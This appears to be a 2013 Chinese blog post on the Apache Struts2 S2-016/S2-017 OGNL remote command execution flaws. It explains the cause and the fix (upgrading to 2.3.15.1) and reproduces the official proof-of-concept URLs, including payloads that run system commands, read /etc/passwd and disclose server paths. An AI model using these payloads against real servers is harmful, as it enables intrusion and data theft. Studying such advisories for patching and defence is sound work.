互联网惨遭Struts高危漏洞摧残

上一篇 / 下一篇  2013-07-19 10:00:33 / 个人分类:web

从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。


关于Struts

Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web应用。Struts 框架广泛应用于运营商、政府、金融行业的门户网站建设,作为网站开发的底层模板使用,目前大量开发者利用J2EE开发Web应用的时候都会利用这个框架。

Apache Struts2 框架在2010年被发现存在一个严重命令执行漏洞(CVE-2010-1870)。近期,一系列针对此漏洞的自动化检测、利用工具在网络上公开,大大降低了利用难度。目前大量使用Struts2框架编写的网站被发现受此漏洞影响,并已在互联网上公开,这可能造成这些网站被控制、敏感数据被泄漏。使用该框架的企业包括了很多知名企业,如:淘宝,京东,腾讯华为等,波及到了诸多互联网公司。

漏洞说明

关于这次struts2远程命令执行漏洞(s2-016,s2-017),官方是这样描述这个漏洞产生原因的:

 

Struts2的DefaultActionMapper类支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致OGNL表达式可以被执行。

详细的OGNL

官方公布的漏洞利用poc细节如下:

1. 简单表达式,OGNL表达式被求值

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

2. 命令执行

1)http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

2)http://host/struts2-blank/example/X.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

3)http://host/struts2-blank/example/X.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

4)http://host/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

3. 爆物理路径

http://host/struts2-blank/example/X.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}

以上方法仅供学习,不用于其他用途。

漏洞修复建议

官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。


===========================

关注微信zzzmmmkkk,不定期吐槽有关测试技术,测试经验,测试思考和生活感悟等。


TAG: Apache apache 网络安全 Struts

引用 删除 xiaojuan723   /   2014-09-10 13:35:28
命令执行后闪退是怎么回事?
 

评分:0

我来说两句

Open Toolbar